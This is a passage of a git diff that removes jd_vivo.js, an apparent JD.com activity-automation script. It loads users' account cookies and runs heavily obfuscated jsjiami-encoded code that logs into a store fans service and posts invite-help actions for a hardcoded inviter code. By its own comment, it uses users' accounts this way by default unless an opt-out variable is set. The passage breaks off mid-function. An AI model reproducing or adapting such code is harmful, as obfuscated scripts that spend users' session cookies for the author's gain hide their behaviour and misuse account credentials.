rawopts.url || rawopts.openUrl || rawopts['open-url'] - return { - url: openUrl - } - } - } else { - return undefined - } - } - if (!this.isMute) { - if (this.isSurge() || this.isLoon()) { - $notification.post(title, subt, desc, toEnvOpts(opts)) - } else if (this.isQuanX()) { - $notify(title, subt, desc, toEnvOpts(opts)) - } - } - if (!this.isMuteLog) { - let logs = ['', '==============📣系统通知📣=============='] - logs.push(title) - subt ? logs.push(subt) : '' - desc ? logs.push(desc) : '' - console.log(logs.join('\n')) - this.logs = this.logs.concat(logs) - } - } - - log(...logs) { - if (logs.length > 0) { - this.logs = [...this.logs, ...logs] - } - console.log(logs.join(this.logSeparator)) - } - - logErr(err, msg) { - const isPrintSack = !this.isSurge() && !this.isQuanX() && !this.isLoon() - if (!isPrintSack) { - this.log('', `❗️${this.name}, 错误!`, err) - } else { - this.log('', `❗️${this.name}, 错误!`, err.stack) - } - } - - wait(time) { - return new Promise((resolve) => setTimeout(resolve, time)) - } - - done(val = {}) { - const endTime = new Date().getTime() - const costTime = (endTime - this.startTime) / 1000 - this.log('', `🔔${this.name}, 结束! 🕛 ${costTime} 秒`) - this.log() - if (this.isSurge() || this.isQuanX() || this.isLoon()) { - $done(val) - } - } - })(name, opts) -} diff --git a/jd_vivo.js b/jd_vivo.js deleted file mode 100644 index f09b993d1..000000000 --- a/jd_vivo.js +++ /dev/null @@ -1,11 +0,0 @@ -/* -嫖你们一个活动助力,不开卡,vivo店铺的关注助力,不给嫖的 环境变量 设置 HELP = 1 -4 4,12,20 * * * jd_vivo.js -*/ -const $ = new Env('vivo'); -const jdCookieNode = $.isNode() ? require('./jdCookie.js') : ''; -let cookiesArr = []; -let HELP = process.env.HELP ?? '0'; -var _0xodV='jsjiami.com.v6',_0xodV_=['‮_0xodV'],_0x5a57=[_0xodV,'w6TCscKXw5jCimXDiTPDiQ==','SsOGw5jDjUjCrcONw6zCrMKr','OsK9K8KMw7/CsQsvHRXDr2HCvUcZUA==','woZzWTcOwrzDjn3DlWDCtXjCqMOsw67DuGHDl3DDrXViL23DsizCrcKwwpk=','CcKzSX4dwq3DikBmbzE=','UUMTUw==','VVYIUMKEw7pNwoDCiQtBwpzCtFdQaMO0','w5dxJcK8WhXCucK3wpU=','wokOwr0gRQ==','KcKoK8KMw7fCsQ8=','woBoWg==','wppnUsKkw6cpTMKsw5w=','wpvDokTDm33CmMKdQzI=','C1d3IyHDlit3w40=','wpPCqxHDusOZAHUz','wp3ChcORHQk=','GMK/IsKQw6LCvSAI','w5sHwrM=','UMKRwqE=','wrZrKcOTc04Tw7tw','J8O+JsKNLw==','aMKiw40wQg==','DMKjc3XCpkPDtDLDqA==','w4JpOMK6Rg==','ZWk5c8OK','acOzMHXCtGI=','QVsGZsOR','wotmWcKow7sgTMKpw44=','FMKKckfDlsObwovDm2rDlMOZXMOra8Kmw7vCrmg8Sm0=','PQ5RYEc=','KsORLMOhwoh0ZsKew70=','TMK3wo4VD8Ob','AcKyOMK3wqo=','w5xYwqbCr00=','f8KiXcKDJGt3w6rDlwTDkDEUw7PDiwZYTC/CjmFIHcKnaAnCgAMYw5XCnA==','R8Owwp3Ck8Kw','VsK/wrA8TQ==','K8KuEcKdwqo=','NkHCgsKAKw==','FMOsEMOCwog=','CsK7VXbCtUPDrg==','wrbCt8O+KDw=','XkFKB8OR','w7t2wosPXQ==','UcOBCUjCmg==','IhlWSVo=','d8OVw6zDnwo=','U8KoOMO3woU=','emMba8OF','N8KNw6DCuMKk','wq/CnQjCkA==','wrpnH8OwZw==','HsK/e31RwqzDixQ=','AsOaEsKFHQ==','woMKwrcPQw==','wqR/IsOFZA==','G1NFIDPDjDk=','wprDjT90TMOscw==','U8KiwowbDw==','w4cIw5pqSg==','wrcIwpUuUA==','bsKzX8KcKA==','dMKhw5c6w54RwpA=','HMK6VXVS','bcOzwo/CkcKQ','IDRBbFM=','PcKAw5TClA==','ccKJDcKwwoDCtEcKw5cl','fMKZwoYtw7B7ZMO4','CWnDmicc','asKJGMO5wobCqVs=','TcK3WcOCDmd5w7XDlw4=','GsKoAsKMw7s=','w54wwqoFwrU=','VEUNVMONwqg=','U8KINU3CvkDDnA==','HWTCqsKMCQ==','w5EZwpsJwoPClEg=','FAprQX4=','w511woI8WQ==','w5IRwrA7wo3CkV4XwrrChMOU','E8KIGcO+woc=','wrplCcOrMMOML8KPw5s=','GcKCKcKHwqY=','wofDhxN8RA==','OsKlGsOvwrM=','SMKmwpQCCMKJbTQmGsKlwrrCukzDkMOtwrzCjsKJVMO9worCoTDDlmPDgcOnFcK2VMOcw57Ch8K0wpjCp0tKw6fDh8OQwpRdNBHCkcKOHBcvVA1ASsOgMsKYbA==','w58gWnAv','OFjCp8Kx','w4NZwrHClEI=','w48Wwq1qakYzYCY4w5VCfcOQbHIZw7jCkB0KEhDCqmRDw7VMw4wbFsOFSSbDsD7CgXsLw5tBwpYxw7HCmEpI','w7h0wokSRA==','UUMOS8OBwr8=','ZSjCrcO7cQ==','ccK1wp0Aw6k=','KcKubkLCpw==','QEEsc8Oa','MErDj8Oz','SsKod8K2Cw==','RsKmwq8hKA==','VnYOb8OE','w69IwrYsTA==','WCvCtMOmVw==','w5IMwr7CusK2w6c=','K8KOw5TClcKFPw==','DmXCoMK9Dg==','wqjCgRzDvcOg','wqUiwoExdQ==','JknDk8Oow5A=','a8KIPMO5wpE=','wqZ/PsOSbk0=','LsKAR25n','wrLCqcO/Bw==','L8OkGsOXfDw=','HyjCosKnQn4=','awHDtMOwYMKJ','DsKYEsKk','EcKKVC/DtA==','w5nCqxnChzbDmA==','wofDqGHDk2rCn8KcQzg=','w4pgI8KiWwDCu8O+','wprDjwZkaA==','ccOUw5HDii0=','CkDCr8K/EQ==','woN2HsOgag==','PFPDjBc+','wpLDohZkVw==','OsK9K8K2w7PCoBkyGxQ=','ScKbw6E6dg==','wqTCsMOpOCDCrBfCmcKEw64=','w4t2AcKwRgHCucK+woI=','woFLGcOy','TcK9woIbF8OW','YVbCp8KsK8OYw63DnSgjZA==','bCrCvMOldw==','JcK4ScK8OHhmw7HDjB/Dun8Mw6vDqQcHCWPDljt3AcK4dVjCuTZxw43CisO1w7B1QHjCucKVeGQxHyHDryghwqkMw5zDosK+wr3ClRjDk0s=','ccKhe8KKP3t/w7HDkA==','ZcOCwpzCiMKeOnE=','w6QUwpAsQWloSyYWw6Ekwrk4VcOMHHsowpbClkfCmsOiwovCrGnDv0/Dr0zCkTLCgMO+w4wlwq5uOh8HScOJwpbCqAEfw7BmwodxwqzDvMOjLBHCgwXDtcKWWktXw5E0w5bCgG/DnMOuw7bCssKFfcOVwpwZwpFNKsKtw57DgEAI','wox9QMKkw7s=','w7MkwqEewqk=','eMOBw5jDjAE=','MGTDi8O9w4w=','VH/DmcOsNQ==','wpbCqyrCi8OQ','IcKAVVw=','wpVzWw==','w4oGwoPCqcKww6YDcA==','HsK4WzrDhw==','IcKyGsK0wq8=','fMKRwpAIcg==','w5MYwqsAwpA=','BMK5JsK/wrA=','bH1CDsOa','CsK6cU10','TMKWwrIRMQ==','wojCmMOXLA0=','w4FvNcKDcg==','ankTcMOy','AVzDmSkJ','dsKgw6czw40=','wphEJsOXeQ==','w5ZkOcKxWx8=','woZoYz3Cg8Kz','ZMKjw5sow40Wwo3ChA==','dsKSGkTCnw==','JMKGPsK5wrxj','csK3Q8KIOWA=','c8KWwqQZGA==','EH1PIT4=','PMKlw7fCvcKO','EcKwHsKdwo4=','QcOpwpXClMKx','EMKLfg3Di8OA','w4wIwr7CucKtw6I=','N0jDuTsS','a8KsEE/Ckg==','V8OdGSDDq0o=','w6DCqMKBw5LCig==','HjF3fkU=','U8KBwrYzw4c=','XH/Du8O7GSI=','wqLClQHDqcOp','UsKzwo4WFMOe','dcK7Y8OBSA==','MMKoIsKT','wo1ew6HCuMKhw6pcIMOlw73DhMKfwqbDtMOaKMOWw7llwpPDhRJTw4MJwptaI8KRTkIewrNcw4rCmiNTwrrDusKEYMOkw4LDvUvDgB1Lwrs1wo4sK8Opw4LCv2Bhw63CmHEfcBjCv20Cw5fDh2YQbEMXYUpHAMOKaWPCpsO5B8K3NQsKw6vDlcOQPcOrX8OfPsK/w4DCu8OQw6dJw5Eowq/Cpg/ClDZKCTYUEQ7DukHDgEZaHSHDgn4zwoHDuWcNw5MfwpFDw7TDomzDhFXCkcOyIkrCl8KYwobChW4rcWjCsDfDsh7CvcKBZFXDpGzDkcKAwr7DiMKmwpFPw6rDkGXCnE/CvyrDvMOMQ1DCi8OYwp8IwogbwqLCtsKYE1fDqRs=','IsOHSMKkLMKxw6vCqcKBw7PChAIBwrhBw4zDlcKZQGjCsMK6GWkYwpwGA3PCqsObw7c=','wrtgUsKxw6Eob8Kc','Q8KgwpkCD8Ocb3E0','w7TCocKdw4jClH8=','5au35L+D5LmR5Lq95LmP5re35YiJ5Yis5YmB77+C5Lqw5b605YyI77yxDcK9SzDlu4rpkLvnm5DlhK/msq7lirnliajvvJ7kuafnu4PlqpHnm7jDgOeMreWhhuWOkemHisKh6K6r57yxwqPDmMO0w7LDi8KgOnfCjg==','w5ZHMsKvWw==','w5UHwonCmMKK','BsKgPcOhwrE=','Dx5lBWNKED9PwqPCvcOfR2ETwqfCnR3Dp8KJYQ==','6Zmn5p6h5buB6L2p','wrVOF8OwTw==','TcOMw5o=','cE84Y8O5','OcKNTV3ClcKGOsK8NQ==','f8KbSsOAccOrwrg=','LEDDksOgw5bCoQ==','aMO6P2PCvlo5woUF','wrR1HsOpNsOK','acKgFH3Ctw==','CsKpw7/CpMKb','wpvDs17DkGw=','w7Uzw6twXw==','CMK7f2DCkQ==','w4/CjcKkw5jCoQ==','wpLDjwc=','5be+5YKl5q6655iM5aur','Dw5zWHkDST5OwrTCqcKYTX4Kw7zCkEDDssKMb17DgE0Aw6FpBAjDh1/Du8K9GcK2HlXCqBfDr098wqxCNj/DtMOeRRDCuT/DtHnDqQvCqifDkMKawqURw5Uw','wqMnw6pmSGc4M3Inw5REe8OSYXsNw6HDnyQMCxfCuzoRw5Jqw7xQGg==','dsK9XsKb','w5Azw69sVw==','EkjDjyce','TMOaCl/CvA==','Q8K9wo8ZEsOW','asKjw6I8cA==','wp3Djw95RMOn','w6gzw61gUg==','wqcXwpYsTSw=','wpPDgRRxRQ==','CxVg','wozDrsOEwpfDkiHCinrCiOW8ieWlhuOAouS7uuS4rui0i+WMuw==','wq0Wwp0iXA==','RMO8IDrDvgfCt3vCiQ==','DsKqVnNh','WcKPw6YyfRF5w6B8cTE=','wphmag==','wqnDqDRcSg==','csKcM8Ouwrs=','wo9zQsK1','w45tLsKZRA==','woBoWhMUw6vChA==','PMKBw57CpcKDP8Kj','WMK9wpM7Iw==','YMOGwoXCkA==','wp93X8KVw7osQMKhw7LCpcK4','SMKlw7Eew6o=','5Ymi5ae15YyM5aW36LW3','NcKAw50=','JMKEQUo=','w6nDoOWmqOi1i2TDvuWPu+WYkMORwqA=','P8KGw5TCkMKGPsK/','wrx/HsOr','wqMMTl0LLXbDhsOnwrzCiHvCmhHCm8K1w7w=','SsKNw7w/ZBVZw7A+ZmYHwoAMQsOUIzbClw==','wr7CkQ/CjcOpNsObAztzw54WLy8NVj07w7DDnFXCiMOf','U8KIYgXDkcOcw5LClGDDk8OGQMOhc8KwwqHCpik+QUZAQlAhwpElwrDCk8KW','NErDl8Oiw4w=','GUnDjzs=','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','PsKKR0rCng==','YcK2wqsbw6g=','w6AFWw==','5Yqz5aeO5Y+45aWk6LSI','YMKZAMO4wpHCtUECw5U=','w7RLIMKCRQ==','K8KAX23ChcKqKsKnH2HDgSE=','G8K3V1lFwrvDnVtPbzzCiw==','K2jDnBUX','T33DocO2ACbCksKPKMK0wrhlKcK2w5HDo8KUwoFPMsOL','V8KIScKMIA==','dsKDS8OMeQ==','bCrCrMOsYRhrw7lH','w68bwrU/wqc=','UsKdw6c0w6U=','w4xwwpcwX0bDrl9W','DsOFw4/DkgvCuMKOw6TCucK6w5TDggBJAsO7UTA8wqUSLil+wodbHn8qDw==','F8OaAsKZGsKWwql3w6Q=','6LC56LKw5Yu35YqK','GsKoRQLDug==','fMKnVMKKP2Z/w73DlQ==','U8KWwpIVEQ==','e8KWWsO9bsOvwqnDoMOPwqvDmQAAw4hKw5zCi8KLFxvDqMOmQUtaw4UKEgLDvsKc','wo96e8KWw6E=','K8OALcO9wopn','w4Y8wp45wrs=','woXDvkPDnnfCiA==','JA41c8KrGBBowpzCmEs1E2/DsVIXJcKAwoHDjcOBw45ZwrZANybDoxdlwpw=','jsjiamIi.fcIom.Pv6gEelbYTUkK=='];if(function(_0xde249d,_0x184fa0,_0x5dc6cc){function _0x5f54dd(_0x2006fd,_0x7b1131,_0x52b1cb,_0x179117,_0x3da92a,_0x20ba35){_0x7b1131=_0x7b1131>>0x8,_0x3da92a='po';var _0x40279c='shift',_0x14201b='push',_0x20ba35='‮';if(_0x7b1131<_0x2006fd){while(--_0x2006fd){_0x179117=_0xde249d[_0x40279c]();if(_0x7b1131===_0x2006fd&&_0x20ba35==='‮'&&_0x20ba35['length']===0x1){_0x7b1131=_0x179117,_0x52b1cb=_0xde249d[_0x3da92a+'p']();}else if(_0x7b1131&&_0x52b1cb['replace'](/[IfIPgEelbYTUkK=]/g,'')===_0x7b1131){_0xde249d[_0x14201b](_0x179117);}}_0xde249d[_0x14201b](_0xde249d[_0x40279c]());}return 0xf1539;};return _0x5f54dd(++_0x184fa0,_0x5dc6cc)>>_0x184fa0^_0x5dc6cc;}(_0x5a57,0x1d4,0x1d400),_0x5a57){_0xodV_=_0x5a57['length']^0x1d4;};function _0x439a(_0x57a399,_0x48c1f2){_0x57a399=~~'0x'['concat'](_0x57a399['slice'](0x1));var _0xd5079d=_0x5a57[_0x57a399];if(_0x439a['GPkNce']===undefined){(function(){var _0x5b3cd9=typeof window!=='undefined'?window:typeof process==='object'&&typeof require==='function'&&typeof global==='object'?global:this;var _0x25827f='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';_0x5b3cd9['atob']||(_0x5b3cd9['atob']=function(_0x493936){var _0x2be007=String(_0x493936)['replace'](/=+$/,'');for(var _0x17f516=0x0,_0x3a0ab7,_0x1bdc1a,_0x3d48d2=0x0,_0x36d959='';_0x1bdc1a=_0x2be007['charAt'](_0x3d48d2++);~_0x1bdc1a&&(_0x3a0ab7=_0x17f516%0x4?_0x3a0ab7*0x40+_0x1bdc1a:_0x1bdc1a,_0x17f516++%0x4)?_0x36d959+=String['fromCharCode'](0xff&_0x3a0ab7>>(-0x2*_0x17f516&0x6)):0x0){_0x1bdc1a=_0x25827f['indexOf'](_0x1bdc1a);}return _0x36d959;});}());function _0x1fd78f(_0x3e9722,_0x48c1f2){var _0x4550ba=[],_0x2770ea=0x0,_0x5d0a60,_0x12d637='',_0x177acf='';_0x3e9722=atob(_0x3e9722);for(var _0x1f7ed9=0x0,_0x224abb=_0x3e9722['length'];_0x1f7ed9<_0x224abb;_0x1f7ed9++){_0x177acf+='%'+('00'+_0x3e9722['charCodeAt'](_0x1f7ed9)['toString'](0x10))['slice'](-0x2);}_0x3e9722=decodeURIComponent(_0x177acf);for(var _0x5705f1=0x0;_0x5705f1<0x100;_0x5705f1++){_0x4550ba[_0x5705f1]=_0x5705f1;}for(_0x5705f1=0x0;_0x5705f1<0x100;_0x5705f1++){_0x2770ea=(_0x2770ea+_0x4550ba[_0x5705f1]+_0x48c1f2['charCodeAt'](_0x5705f1%_0x48c1f2['length']))%0x100;_0x5d0a60=_0x4550ba[_0x5705f1];_0x4550ba[_0x5705f1]=_0x4550ba[_0x2770ea];_0x4550ba[_0x2770ea]=_0x5d0a60;}_0x5705f1=0x0;_0x2770ea=0x0;for(var _0x37337c=0x0;_0x37337c<_0x3e9722['length'];_0x37337c++){_0x5705f1=(_0x5705f1+0x1)%0x100;_0x2770ea=(_0x2770ea+_0x4550ba[_0x5705f1])%0x100;_0x5d0a60=_0x4550ba[_0x5705f1];_0x4550ba[_0x5705f1]=_0x4550ba[_0x2770ea];_0x4550ba[_0x2770ea]=_0x5d0a60;_0x12d637+=String['fromCharCode'](_0x3e9722['charCodeAt'](_0x37337c)^_0x4550ba[(_0x4550ba[_0x5705f1]+_0x4550ba[_0x2770ea])%0x100]);}return _0x12d637;}_0x439a['LbgyCY']=_0x1fd78f;_0x439a['UfNNGX']={};_0x439a['GPkNce']=!![];}var _0x273e50=_0x439a['UfNNGX'][_0x57a399];if(_0x273e50===undefined){if(_0x439a['QjbFso']===undefined){_0x439a['QjbFso']=!![];}_0xd5079d=_0x439a['LbgyCY'](_0xd5079d,_0x48c1f2);_0x439a['UfNNGX'][_0x57a399]=_0xd5079d;}else{_0xd5079d=_0x273e50;}return _0xd5079d;};Object[_0x439a('‫0','$uOS')](jdCookieNode)['forEach'](_0x3d28ef=>{cookiesArr['push'](jdCookieNode[_0x3d28ef]);});let helpCodeList=[_0x439a('‫1','&c78')];let actid=_0x439a('‮2','Owt5');$[_0x439a('‫3','AeLG')]=require(_0x439a('‮4','Fynm'));!(async()=>{var _0x4bb132={'SDHui':_0x439a('‫5','QFny'),'BcYCQ':_0x439a('‫6','xfr8'),'SFEUq':_0x439a('‮7','FAA%'),'XjDvO':function(_0x183f8e,_0x3f029a){return _0x183f8e!=_0x3f029a;},'HuJGb':function(_0x80ea0e,_0x1390e9){return _0x80ea0e===_0x1390e9;},'fmupE':_0x439a('‮8','&c78'),'IIJeY':_0x439a('‮9','Jck%'),'Uavom':_0x439a('‮a','0o2w'),'WHTNg':function(_0x39010e,_0x2bb7db){return _0x39010e+_0x2bb7db;},'AMjjb':function(_0x35f107,_0x2439e9){return _0x35f107(_0x2439e9);},'txrhQ':function(_0x4ca368,_0x50c384,_0x30105e){return _0x4ca368(_0x50c384,_0x30105e);},'ppJsX':_0x439a('‫b','aGmL'),'jhyLp':function(_0x469ae3,_0x18b2ff){return _0x469ae3<_0x18b2ff;},'xosIX':function(_0x5b3027){return _0x5b3027();},'sCpXr':_0x439a('‫c','wbTW')};console[_0x439a('‫d','xfr8')](_0x4bb132[_0x439a('‫e','YgG(')]);$[_0x439a('‮f','NhDb')]='';$['nowTime']=Date['now']();$[_0x439a('‮10','Owt5')]=0x181b48e17a0;for(let _0x34dc9d=0x0;_0x34dc9d{$[_0x439a('‮3a','6u(!')]('','❌\x20'+$[_0x439a('‮3b','NhDb')]+_0x439a('‫3c','Y4uG')+_0x2ef57c+'!','');})[_0x439a('‫3d','6u(!')](()=>{$[_0x439a('‫3e','F4PB')]();});async function main(){var _0x5d2119={'yBrPy':function(_0x5ea0c8){return _0x5ea0c8();},'PNwWq':function(_0x3845e3,_0x2a66d7,_0x267cdd){return _0x3845e3(_0x2a66d7,_0x267cdd);},'xCgJe':_0x439a('‫3f','bnEt'),'IZdcm':_0x439a('‫40','BNOx'),'lveXa':'/front/activity/reportPVUV','xumpY':function(_0x3dbef3,_0x4ef430,_0x2cbba6){return _0x3dbef3(_0x4ef430,_0x2cbba6);},'ZoqPE':_0x439a('‫41','qbyR'),'BQohZ':_0x439a('‮42','OX4y'),'qAcMs':function(_0xc76ef9,_0xf2da56,_0x260c55){return _0xc76ef9(_0xf2da56,_0x260c55);},'FVOli':'activity/loadFrontItems','fFUhE':'/front/activity/loadInviteJoinFrontAct','sDrgj':function(_0x5837b0,_0x1381d5,_0x20fbf6){return _0x5837b0(_0x1381d5,_0x20fbf6);}};$['getTokenErr']=!![];$[_0x439a('‫43','BqFC')]='';$['dm_fans']='';$['UA']=getUA();$[_0x439a('‫44','nSAm')]=_0x439a('‮45','F4PB');$[_0x439a('‮46','NhDb')]=await _0x5d2119[_0x439a('‫47','yhq]')](getToken);if(!$['token']){console[_0x439a('‫48','bnEt')](_0x439a('‮49','AEKg'));return;}$[_0x439a('‮4a','sW5d')]=undefined;let _0x18bc53=await _0x5d2119[_0x439a('‮4b','FAA%')](takePost,'fans/login',{'method':_0x5d2119['xCgJe'],'token':$['token'],'source':'01'});if(_0x18bc53&&_0x18bc53[_0x439a('‫4c','NhDb')]){}else{return;}$['buyernick']=_0x18bc53[_0x439a('‮4d','meTw')];await _0x5d2119[_0x439a('‫4e','nSAm')](takePost,_0x439a('‮4f','&SCD'),{'method':'/front/activity/loadFrontAct','buyerNick':$['buyernick']});await takePost(_0x5d2119[_0x439a('‫50','%v2i')],{'method':_0x5d2119[_0x439a('‮51','Owt5')],'buyerNick':$[_0x439a('‫52','ZS6b')]});await _0x5d2119['xumpY'](takePost,_0x5d2119[_0x439a('‫53','F*6W')],{'method':_0x5d2119[_0x439a('‫54','KFS(')],'buyerNick':$[_0x439a('‮55','AEKg')]});await _0x5d2119['qAcMs'](takePost,_0x5d2119['FVOli'],{'method':_0x439a('‮56','xfr8'),'buyerNick':$[_0x439a('‮4a','sW5d')]});if($[_0x439a('‫57','Ad2s')]){console['log'](_0x439a('‫58','76qP'));let _0xe113b8={'method':_0x5d2119[_0x439a('‮59','OX4y')],'inviterNick':$['shareUuid'],'hasJoin':0x1,'buyerNick':$[_0x439a('‮5a','%v2i')]};let _0x38473a=await _0x5d2119[_0x439a('‫5b','Fynm')](takePost,_0x439a('‫5c','Owt5'),_0xe113b8);}}async function takePost(_0x181373,_0xcdfb93){var _0x4fabea={'swgFy':function(_0x252bd3,_0x2d1458){return _0x252bd3+_0x2d1458;},'WEXSb':function(_0x2d0cdd,_0x1c1d49){return _0x2d0cdd*_0x1c1d49;},'BvLEH':function(_0x17bd7b,_0x287a4c){return _0x17bd7b>_0x287a4c;},'UseZp':function(_0x5022e8,_0x3e0957){return _0x5022e8&&_0x3e0957;},'JSWYA':_0x439a('‮5d','AeLG'),'EcQaP':function(_0x1b7b92,_0x2c5402){return _0x1b7b92!==_0x2c5402;},'VvQbo':'TgUPb','QDAjf':function(_0xd764d9,_0x520864){return _0xd764d9(_0x520864);},'HOzKm':_0x439a('‮5e','uWtj'),'nbZIN':_0x439a('‫5f','F*6W'),'MvDga':_0x439a('‫60','aGmL'),'XEHsL':_0x439a('‮61','^dJT'),'sGoSQ':'sysParams','MaKVH':_0x439a('‫62','QFny'),'ZtVHM':_0x439a('‫63','xfr8'),'IQhib':_0x439a('‮64','$uOS'),'ujzoN':'XMLHttpRequest','PWqwO':_0x439a('‫65','o7Yp'),'ZFhMp':_0x439a('‫66','meTw'),'cMACb':_0x439a('‫67','YgG('),'lvAHr':_0x439a('‫68','YgG('),'MINJn':'zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7'};let _0x398c24=/[^\u4e00-\u9fa5\w]/g;let _0x1ed6c7=JSON[_0x439a('‮69','FAA%')](_0xcdfb93[_0x4fabea[_0x439a('‮6a','ir3f')]])[_0x439a('‫6b','$uOS')](_0x398c24,'');let _0x39a66e=Date[_0x439a('‫6c','o7Yp')]();let 